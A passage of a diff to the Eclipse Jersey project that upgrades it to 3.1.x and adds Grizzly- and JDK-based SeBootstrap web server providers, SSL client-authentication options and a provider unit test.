     <artifactId>jersey-container-grizzly2-http</artifactId>
@@ -50,6 +50,11 @@
             <groupId>org.glassfish.grizzly</groupId>
             <artifactId>grizzly-http-server</artifactId>
         </dependency>
+        <dependency>
+            <groupId>org.hamcrest</groupId>
+            <artifactId>hamcrest</artifactId>
+            <scope>test</scope>
+        </dependency>
 
         <dependency>
             <groupId>org.glassfish.grizzly</groupId>
@@ -69,7 +74,7 @@
         </dependency>
         <dependency>
             <groupId>org.eclipse.jetty.http2</groupId>
-            <artifactId>http2-http-client-transport</artifactId>
+            <artifactId>jetty-http2-client-transport</artifactId>
             <version>${jetty.version}</version>
             <scope>test</scope>
         </dependency>
@@ -102,6 +107,15 @@
                 <groupId>org.apache.felix</groupId>
                 <artifactId>maven-bundle-plugin</artifactId>
                 <inherited>true</inherited>
+                <configuration>
+                    <instructions>
+                        <Import-Package>
+                            org.glassfish.grizzly.*;version="[3.0,5.0)",
+                            *
+                        </Import-Package>
+                    </instructions>
+                    <unpackBundle>true</unpackBundle>
+                </configuration>
             </plugin>
 
             <plugin>
@@ -136,7 +150,7 @@
         <profile>
             <id>jdk11</id>
             <activation>
-                <jdk>[11,)</jdk>
+                <jdk>[11,17)</jdk>
             </activation>
             <build>
                 <pluginManagement>
@@ -147,35 +161,6 @@
                                 <execution>
                                     <id>default-testCompile</id>
                                     <configuration>
-                                        <source>11</source>
-                                        <target>11</target>
-                                    </configuration>
-                                </execution>
-                            </executions>
-                        </plugin>
-                    </plugins>
-                </pluginManagement>
-            </build>
-        </profile>
-        <profile>
-            <id>jdk8</id>
-            <activation>
-                <jdk>1.8</jdk>
-            </activation>
-            <build>
-                <pluginManagement>
-                    <plugins>
-                        <plugin>
-                            <artifactId>maven-compiler-plugin</artifactId>
-                            <executions>
-                                <execution>
-                                    <id>default-testCompile</id>
-                                    <configuration>
-                                        <!--
-                                        Jetty client is not compatible with JDK8, older versions need different setup
-                                        JDK HTTP client is not in JDK8 at all
-                                        Jersey Client doesn't support HTTP/2 (at least not directly)
-                                        -->
                                         <skip>true</skip>
                                     </configuration>
                                 </execution>
diff --git a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpContainer.java b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpContainer.java
index d0f65c3..33d3770 100644
--- a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpContainer.java
+++ b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpContainer.java
@@ -307,9 +307,16 @@
      * @param application JAX-RS / Jersey application to be deployed on Grizzly HTTP container.
      */
     /* package */ GrizzlyHttpContainer(final Application application) {
-        this.appHandler = new ApplicationHandler(application, new GrizzlyBinder());
-        cacheConfigSetStatusOverSendError();
-        cacheConfigEnableLeadingContextPathSlashes();
+        this(new ApplicationHandler(application, new GrizzlyBinder()));
+    }
+
+    /**
+     * Create a new Grizzly HTTP container.
+     *
+     * @param applicationClass JAX-RS / Jersey application to be deployed on Grizzly HTTP container.
+     */
+    /* package */ GrizzlyHttpContainer(final Class<? extends Application> applicationClass) {
+        this(new ApplicationHandler(applicationClass, new GrizzlyBinder()));
     }
 
     /**
@@ -319,7 +326,11 @@
      * @param parentContext DI provider specific context with application's registered bindings.
      */
     /* package */ GrizzlyHttpContainer(final Application application, final Object parentContext) {
-        this.appHandler = new ApplicationHandler(application, new GrizzlyBinder(), parentContext);
+        this(new ApplicationHandler(application, new GrizzlyBinder(), parentContext));
+    }
+
+    private GrizzlyHttpContainer(ApplicationHandler applicationHandler) {
+        this.appHandler = applicationHandler;
         cacheConfigSetStatusOverSendError();
         cacheConfigEnableLeadingContextPathSlashes();
     }
diff --git a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServer.java b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServer.java
new file mode 100644
index 0000000..68d7048
--- /dev/null
+++ b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServer.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.grizzly2.httpserver;
+
+import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.MANDATORY;
+import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.OPTIONAL;
+
+import java.io.IOException;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.CompletionException;
+
+import javax.net.ssl.SSLContext;
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.grizzly.http.server.HttpServer;
+import org.glassfish.grizzly.ssl.SSLEngineConfigurator;
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.spi.WebServer;
+
+/**
+ * Jersey {@code Server} implementation based on Grizzly {@link HttpServer}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+final class GrizzlyHttpServer implements WebServer {
+
+    private final GrizzlyHttpContainer container;
+
+    private final HttpServer httpServer;
+
+    GrizzlyHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) {
+        this(new GrizzlyHttpContainer(application), configuration);
+    }
+
+    GrizzlyHttpServer(final Class<? extends Application> applicationClass,
+                      final JerseySeBootstrapConfiguration configuration) {
+        this(new GrizzlyHttpContainer(applicationClass), configuration);
+    }
+
+    private GrizzlyHttpServer(final GrizzlyHttpContainer container, final JerseySeBootstrapConfiguration configuration) {
+        final SSLContext sslContext = configuration.sslContext();
+        final SeBootstrap.Configuration.SSLClientAuthentication sslClientAuthentication = configuration
+                .sslClientAuthentication();
+
+        this.container = container;
+        this.httpServer = GrizzlyHttpServerFactory.createHttpServer(
+                configuration.uri(true),
+                this.container,
+                configuration.isHttps(),
+                configuration.isHttps() ? new SSLEngineConfigurator(sslContext, false,
+                        sslClientAuthentication == MANDATORY,
+                        sslClientAuthentication == OPTIONAL) : null,
+                configuration.autoStart());
+    }
+
+    @Override
+    public final GrizzlyHttpContainer container() {
+        return this.container;
+    }
+
+    @Override
+    public final int port() {
+        return this.httpServer.getListener("grizzly").getPort();
+    }
+
+    @Override
+    public final CompletableFuture<Void> start() {
+        return CompletableFuture.runAsync(() -> {
+            try {
+                this.httpServer.start();
+            } catch (final IOException e) {
+                throw new CompletionException(e);
+            }
+        });
+    }
+
+    @Override
+    public final CompletableFuture<Void> stop() {
+        return CompletableFuture.runAsync(this.httpServer::shutdownNow);
+    }
+
+    @Override
+    public final <T> T unwrap(final Class<T> nativeClass) {
+        return nativeClass.cast(this.httpServer);
+    }
+
+}
diff --git a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProvider.java b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProvider.java
new file mode 100644
index 0000000..f9cfac2
--- /dev/null
+++ b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProvider.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.grizzly2.httpserver;
+
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.grizzly.http.server.HttpServer;
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.spi.WebServer;
+import org.glassfish.jersey.server.spi.WebServerProvider;
+
+/**
+ * Server provider for servers based on Grizzly {@link HttpServer}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+public final class GrizzlyHttpServerProvider implements WebServerProvider {
+
+    @Override
+    public <T extends WebServer> T createServer(final Class<T> type, final Application application,
+                                                      final SeBootstrap.Configuration configuration) {
+        return WebServerProvider.isSupportedWebServer(GrizzlyHttpServer.class, type, configuration)
+                ? type.cast(new GrizzlyHttpServer(application, JerseySeBootstrapConfiguration.from(configuration)))
+                : null;
+    }
+
+    @Override
+    public <T extends WebServer> T createServer(Class<T> type, Class<? extends Application> applicationClass,
+                                                SeBootstrap.Configuration configuration) {
+        return WebServerProvider.isSupportedWebServer(GrizzlyHttpServer.class, type, configuration)
+                ? type.cast(new GrizzlyHttpServer(applicationClass, JerseySeBootstrapConfiguration.from(configuration)))
+                : null;
+    }
+}
diff --git a/containers/grizzly2-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider b/containers/grizzly2-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
new file mode 100644
index 0000000..dea5f90
--- /dev/null
+++ b/containers/grizzly2-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
@@ -0,0 +1 @@
+org.glassfish.jersey.grizzly2.httpserver.GrizzlyHttpServerProvider
\ No newline at end of file
diff --git a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProviderTest.java b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProviderTest.java
new file mode 100644
index 0000000..1c75de1
--- /dev/null
+++ b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProviderTest.java
@@ -0,0 +1,195 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.grizzly2.httpserver;
+
+import static java.lang.Boolean.TRUE;
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.nullValue;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.greaterThan;
+import static org.hamcrest.Matchers.instanceOf;
+
+import java.security.AccessController;
+import java.security.NoSuchAlgorithmException;
+import java.util.Collections;
+import java.util.Set;
+import java.util.concurrent.CompletionStage;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import javax.net.ssl.SSLContext;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.grizzly.http.server.HttpServer;
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+import org.glassfish.jersey.server.ServerProperties;
+import org.glassfish.jersey.server.spi.Container;
+import org.glassfish.jersey.server.spi.WebServer;
+import org.glassfish.jersey.server.spi.WebServerProvider;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.Timeout;
+
+/**
+ * Unit tests for {@link GrizzlyHttpServerProvider}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+public final class GrizzlyHttpServerProviderTest {
+
+    @Test
+    @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+    public void shouldProvideServer() throws InterruptedException, ExecutionException {
+        // given
+        final Resource resource = new Resource();
+        shouldProvideServer(ShouldProvideServerApplication.class, resource);
+    }
+
+    @Test
+    @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+    public void shouldProvideServerWithClass() throws InterruptedException, ExecutionException {
+        // given
+        final Resource resource = new Resource();
+        final Application application = new ShouldProvideServerApplication();
+        shouldProvideServer(application.getClass(), resource);
+    }
+
+    private void shouldProvideServer(final Object application, final Resource resource)
+            throws InterruptedException, ExecutionException {
+        // given
+        final WebServerProvider webServerProvider = new GrizzlyHttpServerProvider();
+        final SeBootstrap.Configuration configuration = configuration(getPort());
+
+        // when
+        final WebServer webServer = Application.class.isInstance(application)
+                ? webServerProvider.createServer(WebServer.class, (Application) application, configuration)
+                : webServerProvider.createServer(WebServer.class, (Class<Application>) application, configuration);
+        final Object nativeHandle = webServer.unwrap(Object.class);
+        final CompletionStage<?> start = webServer.start();
+        final Object startResult = start.toCompletableFuture().get();
+        final Container container = webServer.container();
+        final int port = webServer.port();
+        final String entity = ClientBuilder.newClient()
+                .target(UriBuilder.newInstance().scheme("http").host("localhost").port(port).build()).request()
+                .get(String.class);
+        final CompletionStage<?> stop = webServer.stop();
+        final Object stopResult = stop.toCompletableFuture().get();
+
+        // then
+        assertThat(webServer, is(instanceOf(GrizzlyHttpServer.class)));
+        assertThat(nativeHandle, is(instanceOf(HttpServer.class)));
+        assertThat(startResult, is(nullValue()));
+        assertThat(container, is(instanceOf(GrizzlyHttpContainer.class)));
+        assertThat(port, is(greaterThan(0)));
+        assertThat(entity, is(resource.toString()));
+        assertThat(stopResult, is(nullValue()));
+    }
+
+    @Path("/")
+    protected static final class Resource {
+        @GET
+        @Override
+        public String toString() {
+            return Resource.class.getName();
+        }
+    }
+
+    protected static class ShouldProvideServerApplication extends Application {
+        @Override
+        public final Set<Object> getSingletons() {
+            return Collections.singleton(new Resource());
+        }
+    }
+
+    private static final Logger LOGGER = Logger.getLogger(GrizzlyHttpServerProviderTest.class.getName());
+
+    private static final int DEFAULT_PORT = 0;
+
+    private static int getPort() {
+        final String value = AccessController
+                .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
+        if (value != null) {
+            try {
+                final int i = Integer.parseInt(value);
+                if (i < 0) {
+                    throw new NumberFormatException("Value is negative.");
+                }
+                return i;
+            } catch (final NumberFormatException e) {
+                LOGGER.log(Level.CONFIG,
+                        "Value of 'jersey.config.test.container.port'"
+                                + " property is not a valid non-negative integer [" + value + "]."
+                                + " Reverting to default [" + DEFAULT_PORT + "].",
+                        e);
+            }
+        }
+
+        return DEFAULT_PORT;
+    }
+
+    @Test
+    @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+    public void shouldScanFreePort() {
+        // given
+        final WebServerProvider webServerProvider = new GrizzlyHttpServerProvider();
+        final Application application = new Application();
+        final SeBootstrap.Configuration configuration = configuration(SeBootstrap.Configuration.FREE_PORT);
+
+        // when
+        final WebServer webServer = webServerProvider.createServer(WebServer.class, application, configuration);
+
+        // then
+        assertThat(webServer.port(), is(greaterThan(0)));
+    }
+
+    private SeBootstrap.Configuration configuration(int port) {
+        return (SeBootstrap.Configuration) name -> {
+            switch (name) {
+                case SeBootstrap.Configuration.PROTOCOL:
+                    return "HTTP";
+                case SeBootstrap.Configuration.HOST:
+                    return "localhost";
+                case SeBootstrap.Configuration.PORT:
+                    return port;
+                case SeBootstrap.Configuration.ROOT_PATH:
+                    return "/";
+                case SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION:
+                    return SSLClientAuthentication.NONE;
+                case SeBootstrap.Configuration.SSL_CONTEXT:
+                    try {
+                        return SSLContext.getDefault();
+                    } catch (final NoSuchAlgorithmException e) {
+                        throw new RuntimeException(e);
+                    }
+                case ServerProperties.WEBSERVER_AUTO_START:
+                    return TRUE;
+                default:
+                    return null;
+            }
+        };
+    }
+
+}
\ No newline at end of file
diff --git a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/application/TestedEndpoint.java b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/application/TestedEndpoint.java
index 3ad7fb8..0a195f1 100644
--- a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/application/TestedEndpoint.java
+++ b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/application/TestedEndpoint.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Payara Foundation and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2022 Payara Foundation and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JettyHttpClientThread.java b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JettyHttpClientThread.java
index 6a09e52..ec3f174 100644
--- a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JettyHttpClientThread.java
+++ b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/test/tools/JettyHttpClientThread.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2021 Payara Foundation and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
@@ -20,12 +20,12 @@
 import java.util.concurrent.atomic.AtomicInteger;
 import java.util.concurrent.atomic.AtomicReference;
 
+import org.eclipse.jetty.client.ContentResponse;
 import org.eclipse.jetty.client.HttpClient;
 import org.eclipse.jetty.client.HttpClientTransport;
-import org.eclipse.jetty.client.api.ContentResponse;
-import org.eclipse.jetty.client.http.HttpClientTransportOverHTTP;
+import org.eclipse.jetty.client.transport.HttpClientTransportOverHTTP;
 import org.eclipse.jetty.http2.client.HTTP2Client;
-import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2;
+import org.eclipse.jetty.http2.client.transport.HttpClientTransportOverHTTP2;
 import org.eclipse.jetty.io.ClientConnector;
 import org.eclipse.jetty.util.ssl.SslContextFactory;
 import static org.junit.jupiter.api.Assertions.assertEquals;
diff --git a/containers/grizzly2-servlet/pom.xml b/containers/grizzly2-servlet/pom.xml
index 9588708..49c7d60 100644
--- a/containers/grizzly2-servlet/pom.xml
+++ b/containers/grizzly2-servlet/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.containers</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-container-grizzly2-servlet</artifactId>
@@ -36,7 +36,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
         </dependency>
 
         <dependency>
@@ -72,6 +71,7 @@
                     <instructions>
                         <Import-Package>
                             jakarta.servlet.*;version="[5.0,7.0)",
+                            org.glassfish.grizzly.*;version="[3.0,5.0)",
                             *
                         </Import-Package>
                     </instructions>
diff --git a/containers/jdk-http/pom.xml b/containers/jdk-http/pom.xml
index 659b4dc..a1b3b99 100644
--- a/containers/jdk-http/pom.xml
+++ b/containers/jdk-http/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.containers</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-container-jdk-http</artifactId>
@@ -80,45 +80,8 @@
         </resources>
     </build>
 
-    <profiles>
-        <profile>
-            <id>jdk11+</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
-            <properties>
-                <!-- https://bugs.openjdk.java.net/browse/JDK-8211426 -->
-                <surefire.security.argline>-Djdk.tls.client.protocols=TLSv1.2</surefire.security.argline>
-            </properties>
-        </profile>
-        <profile>
-            <id>windows</id>
-            <activation>
-                <jdk>1.8</jdk>
-                <os>
-                    <family>windows</family>
-                </os>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-surefire-plugin</artifactId>
-                        <configuration>
-                            <!-- Exclude unit tests regarding JDK HTTP Server because of failing a server shutdown in a class
-                            with several tests. "java.net.BindException: Address already in use: bind"
-                            bug reported on https://bugs.openjdk.java.net/browse/JDK-8015692 -->
-                            <excludes>
-                                <exclude>org/glassfish/jersey/jdkhttp/BasicJdkHttpServerTest.java</exclude>
-                                <exclude>org/glassfish/jersey/jdkhttp/JdkHttpPackageTest.java</exclude>
-                                <exclude>org/glassfish/jersey/jdkhttp/JdkHttpsServerTest.java</exclude>
-                                <exclude>org/glassfish/jersey/jdkhttp/LifecycleListenerTest.java</exclude>
-                            </excludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-    </profiles>
-
+    <properties>
+        <!-- https://bugs.openjdk.java.net/browse/JDK-8211426 -->
+        <surefire.security.argline>-Djdk.tls.client.protocols=TLSv1.2</surefire.security.argline>
+    </properties>
 </project>
diff --git a/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpHandlerContainer.java b/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpHandlerContainer.java
index 1470f22..6349533 100644
--- a/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpHandlerContainer.java
+++ b/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpHandlerContainer.java
@@ -64,7 +64,7 @@
     private volatile ApplicationHandler appHandler;
 
     /**
-     * Create new lightweight Java SE HTTP server container.
+     * Create new lightweight Java SE HTTP server container.
      *
      * @param application JAX-RS / Jersey application to be deployed on the container.
      */
@@ -73,7 +73,16 @@
     }
 
     /**
-     * Create new lightweight Java SE HTTP server container.
+     * Create new lightweight Java SE HTTP server container.
+     *
+     * @param applicationClass class of JAX-RS / Jersey application to be deployed on the container.
+     */
+    JdkHttpHandlerContainer(final Class<? extends Application> applicationClass) {
+        this.appHandler = new ApplicationHandler(applicationClass);
+    }
+
+    /**
+     * Create new lightweight Java SE HTTP server container.
      *
      * @param application   JAX-RS / Jersey application to be deployed on the container.
      * @param parentContext DI provider specific context with application's registered bindings.
diff --git a/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpServer.java b/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpServer.java
new file mode 100644
index 0000000..33d0bcf
--- /dev/null
+++ b/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpServer.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jdkhttp;
+
+import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.MANDATORY;
+import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.OPTIONAL;
+
+import java.util.concurrent.CompletableFuture;
+
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.spi.WebServer;
+
+import com.sun.net.httpserver.HttpServer;
+
+/**
+ * Jersey {@code Server} implementation based on JDK {@link HttpServer}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+final class JdkHttpServer implements WebServer {
+
+    private final JdkHttpHandlerContainer container;
+
+    private final HttpServer httpServer;
+
+    JdkHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) {
+        this(new JdkHttpHandlerContainer(application), configuration);
+    }
+
+    JdkHttpServer(final Class<? extends Application> applicationClass,
+                  final JerseySeBootstrapConfiguration configuration) {
+        this(new JdkHttpHandlerContainer(applicationClass), configuration);
+    }
+
+    JdkHttpServer(final JdkHttpHandlerContainer container, final JerseySeBootstrapConfiguration configuration) {
+        final SeBootstrap.Configuration.SSLClientAuthentication sslClientAuthentication = configuration
+                .sslClientAuthentication();
+
+        this.container = container;
+        this.httpServer = JdkHttpServerFactory.createHttpServer(
+                configuration.uri(true),
+                this.container,
+                configuration.sslContext(),
+                sslClientAuthentication == OPTIONAL,
+                sslClientAuthentication == MANDATORY,
+                configuration.autoStart());
+    }
+
+    @Override
+    public final JdkHttpHandlerContainer container() {
+        return this.container;
+    }
+
+    @Override
+    public final int port() {
+        return this.httpServer.getAddress().getPort();
+    }
+
+    @Override
+    public final CompletableFuture<Void> start() {
+        return CompletableFuture.runAsync(this.httpServer::start);
+    }
+
+    @Override
+    public final CompletableFuture<Void> stop() {
+        return CompletableFuture.runAsync(() -> this.httpServer.stop(0));
+    }
+
+    @Override
+    public final <T> T unwrap(final Class<T> nativeClass) {
+        return nativeClass.cast(this.httpServer);
+    }
+
+}
diff --git a/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpServerFactory.java b/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpServerFactory.java
index 9b5f8b7..5de6973 100644
--- a/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpServerFactory.java
+++ b/containers/jdk-http/src/main/java/org/glassfish/jersey/jdkhttp/JdkHttpServerFactory.java
@@ -26,6 +26,7 @@
 import jakarta.ws.rs.ProcessingException;
 
 import javax.net.ssl.SSLContext;
+import javax.net.ssl.SSLParameters;
 
 import org.glassfish.jersey.internal.guava.ThreadFactoryBuilder;
 import org.glassfish.jersey.jdkhttp.internal.LocalizationMessages;
@@ -37,6 +38,7 @@
 import com.sun.net.httpserver.HttpHandler;
 import com.sun.net.httpserver.HttpServer;
 import com.sun.net.httpserver.HttpsConfigurator;
+import com.sun.net.httpserver.HttpsParameters;
 import com.sun.net.httpserver.HttpsServer;
 
 /**
@@ -177,8 +179,17 @@
     }
 
     private static HttpServer createHttpServer(final URI uri,
+            final JdkHttpHandlerContainer handler,
+            final SSLContext sslContext,
+            final boolean start) {
+        return createHttpServer(uri, handler, sslContext, false, false, start);
+    }
+
+    static HttpServer createHttpServer(final URI uri,
                                                final JdkHttpHandlerContainer handler,
                                                final SSLContext sslContext,
+                                               final boolean sslClientAuthWanted,
+                                               final boolean sslClientAuthNeeded,
                                                final boolean start) {
         if (uri == null) {
             throw new IllegalArgumentException(LocalizationMessages.ERROR_CONTAINER_URI_NULL());
@@ -187,7 +198,14 @@
         final String scheme = uri.getScheme();
         final boolean isHttp = "http".equalsIgnoreCase(scheme);
         final boolean isHttps = "https".equalsIgnoreCase(scheme);
-        final HttpsConfigurator httpsConfigurator = sslContext != null ? new HttpsConfigurator(sslContext) : null;
+        final HttpsConfigurator httpsConfigurator = sslContext != null ? new HttpsConfigurator(sslContext) {
+            public final void configure(final HttpsParameters httpsParameters) {
+                final SSLParameters sslParameters = sslContext.getDefaultSSLParameters();
+                sslParameters.setWantClientAuth(sslClientAuthWanted);
+                sslParameters.setNeedClientAuth(sslClientAuthNeeded);
+                httpsParameters.setSSLParameters(sslParameters);
+            }
+        } : null;
 
         if (isHttp) {
             if (httpsConfigurator != null) {
